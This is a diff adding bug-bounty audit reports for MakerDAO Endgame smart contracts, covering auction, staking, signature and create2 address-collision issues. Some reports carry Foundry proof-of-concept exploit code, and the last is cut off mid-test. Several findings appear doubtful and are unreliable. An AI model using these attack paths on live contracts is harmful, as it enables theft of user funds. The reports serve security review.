+https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L275-L313 +Lack of permission check for the `redo` function. + +### Internal pre-conditions + +1. The auth user sets the chip or tip to larger than 0 +2. The auth user first calls the function `kick` to start the auction. +3. Attackers calls the function `redo` repeatedly to steal the incentive funds. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attackers calls the function `redo` repeatedly to steal the incentive funds. + +### Impact + +All the funds in `vat` will be stolen by attackers. + +### PoC + +_No response_ + +### Mitigation + +Add the `auth` check for the function `redo`. \ No newline at end of file diff --git a/030.md b/030.md new file mode 100644 index 0000000..a726807 --- /dev/null +++ b/030.md @@ -0,0 +1,31 @@ +Nice Fleece Manatee + +Medium + +# `LockstakeEngine` operators can call `hope` infinitely to prevent themselves from being `nope` + +## Summary + +`LockstakeEngine` operators can call `hope` infinitely to prevent themselves from being `nope`. + +## Vulnerability Detail + +The `LockstakeEngine.hope` function is used to grant operator permissions to a certain address. It allows the position owner or operator to call it. And it can grant unlimited addresses as operators. + +Operators can use this function to authorize an unlimited number of addresses, making it impossible for users to deauthorize them. In more serious cases, users may mistakenly believe that they have revoked authorization. + +## Impact + +Users cannot delete operator permissions. And users may mistakenly think that they have deleted operator permissions and not transfer positions. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L248-#L251 + +## Tool used + +Manual Review + +## Recommendation + +It is recommended that only the owner of the urn can call `hope`. \ No newline at end of file diff --git a/031.md b/031.md new file mode 100644 index 0000000..36b0deb --- /dev/null +++ b/031.md @@ -0,0 +1,36 @@ +Nice Fleece Manatee + +Medium + +# After the stop level of `LockstakeClipper` is reduced from `3`, users can buy collateral at extremely low prices + +## Summary + +After the stop level of `LockstakeClipper` is reduced from `3`, users can buy collateral at extremely low prices + +## Vulnerability Detail + +The `LockstakeClipper` contract has 4 stopped levels + +- `0`: no breaker +- `1`: no new auctions +- `2`: no new auctions or restarted auctions +- `3`: no new auctions, restart auctions and buys + +`LockstakeClipper` uses a dutch auction, which means that the longer the auction starts, the lower the price of the collateral. When the `stopped` is set to 3, no one can buy collateral, but the price is still falling. Once `stopped` is changed, users can immediately buy collateral at a very low price. + +## Impact + +Users can buy collateral at a lower price, causing losses to the protocol. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L338 + +## Tool used + +Manual Review + +## Recommendation + +It is recommended that all auctions should be restarted after the `stopped` value is reduced from `3`. \ No newline at end of file diff --git a/032.md b/032.md new file mode 100644 index 0000000..e5a7c78 --- /dev/null +++ b/032.md @@ -0,0 +1,36 @@ +Nice Fleece Manatee + +Medium + +# Insufficient liquidity in the uniswap pool may result in the inability to distribute farm rewards + +## Summary + +Insufficient liquidity in the uniswap pool may result in the inability to distribute farm rewards. + +## Vulnerability Detail + +The `Splitter.kick` function splits the received DAI into two parts + +- Call `flapper.exec` to hand it over to the burn engine for processing +- Call `farm.notifyRewardAmount` to add rewards to the farm + +For the former, some burn engines (`FlapperUniV2` and `FlapperUniV2SwapOnly`) will sell DAI in the uniswap pool. To prevent arbitrage, they will limit the selling price based on the oracle price. + +Once the liquidity of the uniswap pool is low, the price impact will trigger the price limit and the swap will fail. More seriously, it will also cause the farm rewards to be unable to be distributed. + +## Impact + +Farm rewards cannot be distributed and users lose staking rewards. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/Splitter.sol#L106-L110 + +## Tool used + +Manual Review + +## Recommendation + +It is recommended that `Splitter.kick` isolate the DAI of flapper and farm. \ No newline at end of file diff --git a/033.md b/033.md new file mode 100644 index 0000000..f580b74 --- /dev/null +++ b/033.md @@ -0,0 +1,31 @@ +Nice Fleece Manatee + +Medium + +# After `StakingRewards` is paused, new rewards can still be added, resulting in rewards being claimed by existing stakers + +## Summary + +After `StakingRewards` is paused, new rewards can still be added, resulting in rewards being claimed by existing stakers. + +## Vulnerability Detail + +The `StakingRewards` contract can be paused. The only function affected is `stake`. Once the contract is paused, users will not be able to `stake`, but everything else remains normal. + +When the contract is paused, the `notifyRewardAmount` function is still available. That is, the rewards are still being distributed. These rewards will flow into a small number of existing stakers, and others cannot claim these rewards by staking. In addition, the contract pause causes users to `withdraw`, making the existing stakers more profitable. + +## Impact + +The distribution of `StakingRewards` will become unreasonable, and the staking rewards will flow into a small number of existing stakers. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144 + +## Tool used + +Manual Review + +## Recommendation + +After the contract is paused, new rewards should be stopped. \ No newline at end of file diff --git a/034.md b/034.md new file mode 100644 index 0000000..87734d6 --- /dev/null +++ b/034.md @@ -0,0 +1,36 @@ +Nice Fleece Manatee + +Medium + +# `StakingRewards.setRewardsDuration` will change the duration of an existing reward distribution + +## Summary + +`StakingRewards.setRewardsDuration` will change the duration of an existing reward distribution + +## Vulnerability Detail + +The `setRewardsDuration` function is used to update the `rewardsDuration` global variable. If the current reward has not ended, `setRewardsDuration` will update the end time of the current reward. This leads to the possibility that it may affect the legitimacy of current rewards. For example. + +1. The current `rewardsDuration` is 30 days, so the amount of rewards added each time is the amount of 30 days +2. There is currently a reward, 1 day has been allocated and 29 days are left +3. The admin calls `setRewardsDuration` to update `rewardsDuration` to 5 days, and the amount of rewards added each time in the future is 5 days +4. The current reward rate will increase by `29/5 = 5.8` times + +Even if future rewards are reasonable, the current reward rate becomes unreasonable. + +## Impact + +The reward rate becomes unreasonable and users may take the opportunity to arbitrage. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L175-L177 + +## Tool used + +Manual Review + +## Recommendation + +Before updating `rewardsDuration`, make sure there is no reward currently. \ No newline at end of file diff --git a/035.md b/035.md new file mode 100644 index 0000000..8ef72ed --- /dev/null +++ b/035.md @@ -0,0 +1,110 @@ +Big Fuchsia Goblin + +Medium + +# Potential for allowance front-running in transferFrom function + +### Summary + +The transferFrom function is susceptible to the well-known ERC20 allowance front-running attack. If a user wants to change their allowance from a non-zero value to another non-zero value, an attacker can front-run the transaction and spend the old allowance + the new allowance + +### Root Cause +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeMkr.sol#L79C5-L103C6 + + function transferFrom(address from, address to, uint256 value) external returns (bool) { + require(to != address(0) && to != address(this), "LockstakeMkr/invalid-address"); + uint256 balance = balanceOf[from]; + require(balance >= value, "LockstakeMkr/insufficient-balance"); + + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "LockstakeMkr/insufficient-allowance"); + + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + + unchecked { + balanceOf[from] = balance - value; + balanceOf[to] += value; // note: we don't need an overflow check here b/c sum of all balances == totalSupply + } + + + emit Transfer(from, to, value); + + + return true; + } +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeMkr.sol#L79C5-L103C6 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Initial state: + +Alice (token holder) has 1000 tokens +Alice has approved Bob (spender) to spend 100 tokens + + +Alice decides to change Bob's allowance to 50 tokens: + +Alice submits a transaction to call approve(Bob, 50) + + +Bob (the attacker) sees this transaction in the mempool and quickly submits two transactions with a higher gas price: + +Transaction 1: transferFrom(Alice, Bob, 100) (using the old allowance) +Transaction 2: transferFrom(Alice, Bob, 50) (using the new allowance) + + +The transactions are processed in this order due to Bob's higher gas price: + +Bob's Transaction 1 executes, transferring 100 tokens from Alice to Bob +Alice's approve transaction executes, setting Bob's allowance to 50 +Bob's Transaction 2 executes, transferring another 50 tokens from Alice to Bob + + +Result: + +Bob has successfully transferred 150 tokens from Alice, even though Alice only intended to allow a maximum of 100 tokens (the original allowance) or 50 tokens (the new allowance) + +### Impact + +Users will lose their money. An attacker can front-run the transaction and spend the old allowance + the new allowance + +### PoC + +_No response_ + +### Mitigation + +To mitigate this issue, one common solution is to implement an increaseAllowance and decreaseAllowance function instead of approve. Another approach is to first set the allowance to 0 and then to the desired value in two separate transactions, but this is less convenient for users. + +`function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { + allowance[msg.sender][spender] += addedValue; + emit Approval(msg.sender, spender, allowance[msg.sender][spender]); + return true; +} + +function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { + uint256 currentAllowance = allowance[msg.sender][spender]; + require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); + unchecked { + allowance[msg.sender][spender] = currentAllowance - subtractedValue; + } + emit Approval(msg.sender, spender, allowance[msg.sender][spender]); + return true; +}` \ No newline at end of file diff --git a/036.md b/036.md new file mode 100644 index 0000000..d1a557b --- /dev/null +++ b/036.md @@ -0,0 +1,59 @@ +Micro Emerald Tortoise + +High + +# Front-Running Vulnerability due to Lack of TWAP Oracle in FlapperUniV2SwapOnly Contract + +## Summary +The `FlapperUniV2SwapOnly` contract is vulnerable to front-running attacks due to its reliance on a spot price oracle (pip). This allows malicious actors to manipulate prices and exploit transactions for their own benefit. + +## Vulnerability Detail +The contract `exec` function uses the current spot price from the `pip` oracle to determine the amount of GEM tokens to purchase in exchange for a given amount of DAI (`lot`). However, this spot price can be easily manipulated by front-runners who observe the pending transaction in the mempool. These attackers can quickly execute a similar trade before the original transaction is mined, causing the price to shift unfavorably and allowing them to profit from the price difference. + +## Impact +Front-running attacks can lead to significant financial losses for users of the `FlapperUniV2SwapOnly` contract. The attacker gains an unfair advantage by manipulating the price, while the user receives a worse exchange rate for their trade. This can undermine trust in the contract and discourage users from participating. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2SwapOnly.sol#L122-L123 + +```solidity + uint256 _buy = _getAmountOut(lot, _reserveDai, _reserveGem); + require(_buy >= lot * want / (uint256(pip.read()) * RAY / spotter.par()), "FlapperUniV2SwapOnly/insufficient-buy-amount"); +``` + +## Tool used + +Manual Review + +## Recommendation +recommended to replace the spot price oracle with a Time-Weighted Average Price (TWAP) oracle. A TWAP oracle calculates the average price of an asset over a period, making it much more difficult for attackers to manipulate prices in a single block. + +```solidity +interface TWAPOracleLike { + function consult(address token) external view returns (uint256 price, uint256 timestamp); +} + +contract FlapperUniV2SwapOnly { + // ... other variables + + TWAPOracleLike public twapOracle; + + // ... other functions + + function file(bytes32 what, address data) external auth { + // ... + else if (what == "twapOracle") twapOracle = TWAPOracleLike(data); + // ... + } + + function exec(uint256 lot) external auth nonReentrant { + // ... (add minimum lot size check) + + // Use TWAP oracle + (uint256 _price, ) = twapOracle.consult(gem); + require(_buy >= lot * want / (_price * RAY / spotter.par()), "FlapperUniV2SwapOnly/insufficient-buy-amount"); + + // ... (rest of the function logic) + } +} +``` \ No newline at end of file diff --git a/038.md b/038.md new file mode 100644 index 0000000..336e6b2 --- /dev/null +++ b/038.md @@ -0,0 +1,43 @@ +Micro Emerald Tortoise + +Medium + +# Insufficient Input Validation in the kick and take Functions of LockstakeClipper Contract + +## Summary +The `kick` and `take` functions in the `LockstakeClipper` contract have some input validation, but it could be more robust. Specifically, there's a lack of checks to ensure that the tab (`debt`) is greater than a minimum value. This could lead to economically inefficient liquidations. + +## Vulnerability Detail +In the `kick` function, the tab parameter represents the outstanding debt of a CDP that is being liquidated. Currently, the contract only checks that the tab is not zero. However, it doesn't enforce a minimum threshold for the tab amount. This means that even very small debts could trigger a liquidation process, which might not be economically justifiable due to the gas costs associated with the auction. + +Similarly, in the `take` function, where users can purchase collateral from the auction, there's no check to ensure that the remaining tab after a partial purchase is above a minimum threshold. This could result in leftover auctions with very small remaining debts that might never be cleared, as keepers may not find it profitable to participate in such auctions due to the high gas costs relative to the potential reward. + +## Impact +Economic Inefficiency: Liquidations could be triggered for CDPs with very small debts, resulting in unnecessary gas costs for both the system and the users involved. +Stale Auctions: Partial purchases could leave behind auctions with very small remaining debts, making them unattractive to keepers and potentially clogging up the system with uncleared auctions. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L229-L271 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L332-L426 + +## Tool used + +Manual Review + +## Recommendation +add minimum debt checks in both the kick and take functions. This can be done by introducing a constant or a configurable variable to define the minimum allowed debt. + +For the kick function: + +```Solidity +require(tab >= MIN_DEBT, "LockstakeClipper/tab-too-small"); +``` + +For the take function: + +```Solidity +// ... (inside the take function) +uint256 remainingTab = tab - owe; +require(remainingTab == 0 || remainingTab >= MIN_DEBT, "LockstakeClipper +``` \ No newline at end of file diff --git a/039.md b/039.md new file mode 100644 index 0000000..8f8bbbe --- /dev/null +++ b/039.md @@ -0,0 +1,88 @@ +Micro Emerald Tortoise + +Medium + +# Missing validation of the value v in the _isValidSignature function. + +## Summary +The _isValidSignature function in the Ngt and SDAO contracts does not perform all necessary checks to verify EIP-712 signatures. Specifically, the function does not check the v value of the signature, which could lead to accepting invalid signatures in some cases. + +## Vulnerability Detail +The _isValidSignature function is used to verify signatures in the permit function, allowing users to authorize token spending without making an on-chain transaction. This function supports both EOA (Externally Owned Account) signatures via ecrecover and EIP-1271 style smart contract signatures. + +However, during the EOA signature verification process, the function does not check the v value of the signature. The v value is an important part of the ECDSA signature, used to recover the signer's public address. Without checking v, an attacker could modify the signature to create a different but still valid signature, leading to unauthorized approvals or other unintended behaviors. + +## Impact +This vulnerability could allow an attacker to create forged signatures, bypassing the permit authorization mechanism and performing unauthorized actions such as transferring users' tokens without their consent. This could lead to loss of assets and damage the system's reputation. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/ngt/src/Ngt.sol#L180-L207 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L333-L358 + +```solidity + function _isValidSignature( + address signer, + bytes32 digest, + bytes memory signature + ) internal view returns (bool valid) { + if (signature.length == 65) { + bytes32 r; + bytes32 s; + uint8 v; + assembly { + r := mload(add(signature, 0x20)) + s := mload(add(signature, 0x40)) + v := byte(0, mload(add(signature, 0x60))) + } +@> if (signer == ecrecover(digest, v, r, s)) { + return true; + } + } + + if (signer.code.length > 0) { + (bool success, bytes memory result) = signer.staticcall( + abi.encodeCall(IERC1271.isValidSignature, (digest, signature)) + ); + valid = (success && + result.length == 32 && + abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector); + } + } +``` + +## Tool used + +Manual Review + +## Recommendation +A check needs to be added to ensure that the v value of the signature is within the valid range (27 or 28): + +```solidity + function _isValidSignature(address signer, bytes32 digest, bytes memory signature) internal view returns (bool) { + if (signature.length == 65) { + bytes32 r; + bytes32 s; + uint8 v; + assembly { + r := mload(add(signature, 0x20)) + s := mload(add(signature, 0x40)) + v := byte(0, mload(add(signature, 0x60))) + } ++ if (signer == ecrecover(digest, v, r, s) && (v == 27 || v == 28)) { + return true; + } + } + + if (signer.code.length > 0) { + (bool success, bytes memory result) = signer.staticcall( + abi.encodeCall(IERC1271.isValidSignature, (digest, signature)) + ); + return (success && + result.length == 32 && + abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector); + } + + return false; + } +``` \ No newline at end of file diff --git a/040.md b/040.md new file mode 100644 index 0000000..2d93f86 --- /dev/null +++ b/040.md @@ -0,0 +1,111 @@ +Curved Cinnamon Tuna + +High + +# Front-Running Exploit in Reward Rate Update Mechanism + +## Summary +The `StakingRewards` contract is vulnerable to a front-running exploit where an attacker can monitor pending transactions that update the reward rate and quickly stake tokens before the transaction is mined. This allows the attacker to earn disproportionately high rewards, undermining the fairness and economic balance of the staking system. + +## Vulnerability Detail +1. An attacker monitors the blockchain for pending `notifyRewardAmount` transactions. +2. Upon detecting such a transaction, the attacker quickly sends a stake transaction with a large amount of tokens. +3. The attacker's transaction is mined before the `notifyRewardAmount` transaction, allowing them to stake tokens at the old reward rate. +4. Once the `notifyRewardAmount` transaction is mined, the reward rate is updated, and the attacker earns higher rewards than intended. + +## Impact +- Unfair Advantage +- User Trust +- Economic Imbalance + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144-L163 + +## Tool used + +Manual Review + +## Recommendation +- Introduce a delay between the announcement of a reward update and its actual application. +- Implement monitoring and alert systems to detect unusual staking activity that could indicate front-running attempts. + +## PoC +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.25; + +import "forge-std/Test.sol"; +import "../src/synthetix/StakingRewards.sol"; +import "openzeppelin-contracts/token/ERC20/ERC20.sol"; + +contract MockERC20 is ERC20 { + constructor() ERC20("Mock Token", "MTK") { + _mint(msg.sender, 1000000 * 10 ** decimals()); + } + + function mint(address to, uint256 amount) external { + _mint(to, amount); + } +} + +contract StakingRewardsExploitTest is Test { + StakingRewards stakingRewards; + MockERC20 rewardsToken; + MockERC20 stakingToken; + address attacker = address(0x1); + address rewardsDistribution = address(0x2); + + function setUp() public { + rewardsToken = new MockERC20(); + stakingToken = new MockERC20(); + stakingRewards = new StakingRewards(address(this), rewardsDistribution, address(rewardsToken), address(stakingToken)); + + // Transfer some tokens to the attacker + stakingToken.mint(attacker, 1000 * 10 ** stakingToken.decimals()); + rewardsToken.mint(address(stakingRewards), 1000 * 10 ** rewardsToken.decimals()); + } + + function testExploit() public { + // Step 1: Initial State + vm.startPrank(attacker); + stakingToken.approve(address(stakingRewards), 1000 * 10 ** stakingToken.decimals()); + vm.stopPrank(); + + // Step 2: Detect Pending Transaction + // Simulate detection of pending notifyRewardAmount transaction + uint256 pendingReward = 500 * 10 ** rewardsToken.decimals(); + + // Step 3: Front-Running + vm.startPrank(attacker); + stakingRewards.stake(1000 * 10 ** stakingToken.decimals()); + vm.stopPrank(); + + // Step 4: Update Reward Rate + vm.prank(rewardsDistribution); + stakingRewards.notifyRewardAmount(pendingReward); + + // Step 5: Earn Higher Rewards + vm.warp(block.timestamp + 1 days); // Fast forward time to accumulate rewards + + // Step 6: Withdraw Rewards + vm.startPrank(attacker); + stakingRewards.exit(); + vm.stopPrank(); + + // Assert that the attacker has received the rewards + uint256 attackerRewardBalance = rewardsToken.balanceOf(attacker); + assert(attackerRewardBalance > 0); + + emit log_named_uint("Attacker Reward Balance", attackerRewardBalance); + } +} +``` +forge test --match-path test/StakingRewardsExploitTest.sol +[⠒] Compiling... +No files changed, compilation skipped + +Ran 1 test for test/StakingRewardsExploitTest.sol:StakingRewardsExploitTest +[PASS] testExploit() (gas: 267189) +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.56ms (370.80µs CPU time) + +Ran 1 test suite in 6.63ms (1.56ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) diff --git a/042.md b/042.md new file mode 100644 index 0000000..c6486ab --- /dev/null +++ b/042.md @@ -0,0 +1,128 @@ +Radiant Wool Poodle + +Medium + +# Attacker can prevent the liquidation of their loan using address collision in `LockstakeEngine` + +### Summary + +Using `create2` in [`LockstakeEngine.sol:242`](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L242) allows attackers to prevent their collateral from being liquidated through address collision. + +### Root Cause + +In [`LockstakeEngine.sol:242`](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L242), the `open` function uses `create2` to deploy the `urn` for the user. This function uses `msg.sender` and `index` to generate a `salt`, which is then used in `create2` to deploy the `urn`. +After a user opens a position and deploys an `urn`, they can call `lock` and deposit their collateral. The `lock` function will then mint `lsmkr` to the user's urn: +```solidity + lsmkr.mint(urn, wad); +``` +In the case of a liquidation, the `clipper` will call [`LockstakeEngine.sol:428`](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L428), which will burn the `lsmkr` from the user's `urn`. + +Given that the `open` function uses `create2` to deploy the `urn`, an attacker who can find an address collision will be able to deploy a malicious contract at the address that will collide with the `urn`. The attacker can approve infinite amount of `lsmkr` to themselves using this malicious contract and then `selfdestruct` it. They can then call `open` with the specific `msg.sender` and `index` that will result in a collision with the address of the malicious contract. After calling `lock`, the attacker can transfer the `lsmkr` to another address and `draw` a loan. In this situation, if the `clipper` calls `onKick`, the transaction will revert [in this line](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L428) because the `urn` has no `lsmkr` in balance. The attacker will be able to `draw` a loan and prevent the `clipper` from liquidating the collateral while simultaneously yielding in `StakingRewards.sol` with their `lsmkr`. This will result in bad debt for the protocol since the loan cannot be liquidated, and since the protocol cannot blacklist the `urn`, the attacker can repeat this many times. + +### Internal pre-conditions + +There are no internal preconditions. + +### External pre-conditions + +There are no external preconditions. + +### Attack Path + +The address collisions an attacker will need to find are: + +1. One undeployed urn address. +2. An arbitrary attacker-controlled contract. + +Both sets of addresses can be brute-force searched: +- The attacker deploys a `deployer` contract that can deploy many malicious contracts using `create2`. +- The attacker precomputes all the `create2` calls from the `deployer` contract and stores all the `2^80` addresses plus the `salt` that resulted in these addresses in a Bloom filter data structure. +- The attacker runs a brute-force on the `open` function with all those `2^80` malicious contract addresses as `msg.sender` and `0` as `index`, storing both the `msg.sender` and the `urn` address in a Bloom filter data structure. + +Attacker finds a collision in the list (two same addresses). The attacker will then use the deployer contract with that specific `salt` that will result in address `0xCollide` and deploy the malicious contract. This malicious contract approves an infinite amount of `lsmkr` to the attacker's address and `selfdestruct` itself in the constructor. +Then, the attacker uses the second address (the `msg.sender` that would result in an `urn` with `0xCollide` as the address) and calls `open`. The collision happens, and the attacker can now transfer the `lsmkr` to any other addresses. + +The feasibility, as well as the detailed technique and hardware requirements of finding a collision, are sufficiently described in multiple references: + +- Two past issues on Sherlock describing this attack: + 1. [0x52's report](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90) + 2. [PUSH0's report](https://github.com/sherlock-audit/2023-12-arcadia-judging/issues/59) +- [EIP-3607, which addresses this exact attack](https://eips.ethereum.org/EIPS/eip-3607). +- [A blog post discussing the cost (money and time) of this exact attack](https://mystenlabs.com/blog/ambush-attacks-on-160bit-objectids-addresses). + +Although this would require a large amount of compute it is already possible to break with current computing. **In less than a decade this would likely be a fairly easily attained amount of compute, nearly guaranteeing this attack.** + +### Impact + +The protocol suffers a bad debt because the attacker can interact with the lockstake, draw a loan, and prevent the protocol from liquidating the collateral. + +### PoC + +While I cannot provide an actual hash collision due to infrastructural constraints, it's possible to provide a coded PoC to prove the following two properties of the EVM that would enable this attack: + +- A contract can be deployed on top of an address that already had a contract before. +- By deploying a contract and self-destruct in the same tx, we are able to set allowance for an address that has no bytecode. + +Make a file named `PoC.t.sol` and paste the following code in it: +```solidity +pragma solidity ^0.8.20; + +contract Token { + mapping(address => mapping(address => uint256)) public allowance; + + function increaseAllowance(address to, uint256 amount) public { + allowance[msg.sender][to] += amount; + } +} + +contract InstantApprove { + function setApprove(Token ts, uint256 amount) public { + ts.increaseAllowance(msg.sender, amount); + } + + function destroy() public { + selfdestruct(payable(tx.origin)); + } +} + +contract Test { + Token public ts; + uint256 public constant APPROVE_AMOUNT = 2e18; + + constructor() { + ts = new Token(); + } + + function test_Collide(uint _salt) public returns (address) { + InstantApprove ia = new InstantApprove{salt: keccak256(abi.encodePacked(_salt))}(); + address ia_addr = address(ia); + + ia.setApprove(ts, APPROVE_AMOUNT); + ia.destroy(); + return ia_addr; + } + + function getCodeSize(address addr) public view returns (uint) { + uint size; + assembly { + size := extcodesize(addr) + } + return size; + } + + function getAllowance(address from) public view returns (uint) { + return ts.allowance(from, address(this)); + } +} +``` +Run the test: +```bash +forge test --mt test_Collide +``` + +### Mitigation + +The mitigation method is to prevent controlling over the deployed account address (or at least severely limit that). Some techniques may be: + +- Do not use the user address as a determining factor for the `salt`. +- Use the vanilla contract creation with `create`, as opposed to `create2` \ No newline at end of file diff --git a/043.md b/043.md new file mode 100644 index 0000000..ed80e56 --- /dev/null +++ b/043.md @@ -0,0 +1,557 @@ +Unique Pistachio Chipmunk + +High + +# LockstakeClipper.kick() does not add incentives for keepers to tab, the amount of fund to be raised in the auction. As a result, the Vow contract might get into insolvent state eventually. + +### Summary + +LockstakeClipper.kick() does not add incentives for keepers to tab, the amount of fund to be raised in the auction. As a result, the Vow contract might get into insolvent state eventually. This is because the Vow will accumulate more debt in ```Vat.sin``` than the fund raised during auction, which is supposed to cover the increased debt. It also might lead to overflow and then stalk the protocol, the user's fund might get stuck in the protocol. + +This will occur for each ```kick()``` call and loss of funds for the protocol each time, therefore I mark this as *high*. + +### Root Cause + +The following code in ```kick()``` will increase ```vat.sin(vow)``` by the incentive amount, however, such incentive (```coin```) is never added to ```tab```. As a result, ```tab``` amount of fund will be raised, but it might not be sufficient to cover ```due + coin```, where ```due = mul(dart, rate)``` and ```coin``` is the incentive for the keeper. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L229-L271](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L229-L271) + +One might hope that the incentive part will be covered by ```tab``` as well since additional penalty has been included in ```tab = mul(mul(dart, rate), milk.chop) / WAD```. This assumption might not be true since it is possible that ```due + coin > tab```. In other words, the raised fund ```tab`` might not cover the increased debt for ```vow``` in ```vat.sin(vow)```, which is ```due + coin```. + +### Internal pre-conditions + +When ```due + coin > tab``` where ```tab = mul(due, milk.chop) / WAD```. In other words, the raised fund ```tab`` does not cover the increased debt for ```vow``` in ```vat.sin(vow)```, which is ```due + coin```. + +### External pre-conditions + +None. + +### Attack Path + +When ```due + coin > tab```, each time we liquidate a position, we might have a deficit in ```Vow```. +The call workflow is: ```Dog.bark() -> LockstakeClipper.kick()```, we then call clip.take(). See more in the following POC. + +### Impact + +LockstakeClipper.kick() does not add incentives for keepers to tab, the amount of fund to be raised in the auction. As a result, the Vow contract might get into insolvent state eventually. Since vat.sin(vow) will keep increase due to deficit, there might be an overflow and the protocol might stalk, user's funds might get stuck. + +### PoC + +We show that due to not adjusting ```tab``` according to the incentive ```coin``` to keepers. Finally, there is a deficit for ```Vow```. This might occur frequently and as a result, the Vow contract might become insolvent. + +1. Initially, we have vat.sin(vow): 31594496619448079749302857277028575889830976392587267. +2. We have due = 100000000000000000000000000000000000000000000000 inside Dog.bark(). +3. Dog.bark calls LockstakeClipper.kick() with tab = 110000000000000000000000000000000000000000000000; +4. The incentive for the keeper is coin = 102200000000000000000000000000000000000000000000. +5. Therefore, the debt for Vow ```vat.sin(vow)``` increases by ```due + coin = 202200000000000000000000000000000000000000000000```. +6. However, only ```tab``` amount will be raised, as a result, we have a deficit of 92200000000000000000000000000000000000000000000. +7. When such deficit occurs in more and more auctions, ```Vow``` accumulates more debt and become insolvent or leading to overflow and stalk the protocol (users' fund might get stuck in the protocol). + +The POC is as follows. Run ```forge test --match-test testTake1 -vv``` to verify all numbers and deficit. + + +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import { LockstakeClipper } from "src/LockstakeClipper.sol"; +import { LockstakeEngineMock } from "test/mocks/LockstakeEngineMock.sol"; +import { PipMock } from "test/mocks/PipMock.sol"; + +contract BadGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) + external { + sender; owe; slice; data; + clip.take({ // attempt reentrancy + id: 1, + amt: 25 ether, + max: 5 ether * 10E27, + who: address(this), + data: "" + }); + } +} + +contract RedoGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + owe; slice; data; + clip.redo(1, sender); + } +} + +contract KickGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.kick(1, 1, address(0), address(0)); + } +} + +contract FileUintGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.file("stopped", 1); + } +} + +contract FileAddrGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.file("vow", address(123)); + } +} + +contract YankGuy { + LockstakeClipper clip; + + constructor(LockstakeClipper clip_) { + clip = clip_; + } + + function clipperCall( + address sender, uint256 owe, uint256 slice, bytes calldata data + ) external { + sender; owe; slice; data; + clip.yank(1); + } +} + +contract PublicClip is LockstakeClipper { + + constructor(address vat, address spot, address dog, address engine) LockstakeClipper(vat, spot, dog, engine) {} + + function add() public returns (uint256 id) { + id = ++kicks; + active.push(id); + sales[id].pos = active.length - 1; + } + + function remove(uint256 id) public { + _remove(id); + } +} + +interface VatLike { + function dai(address) external view returns (uint256); + function sin(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, 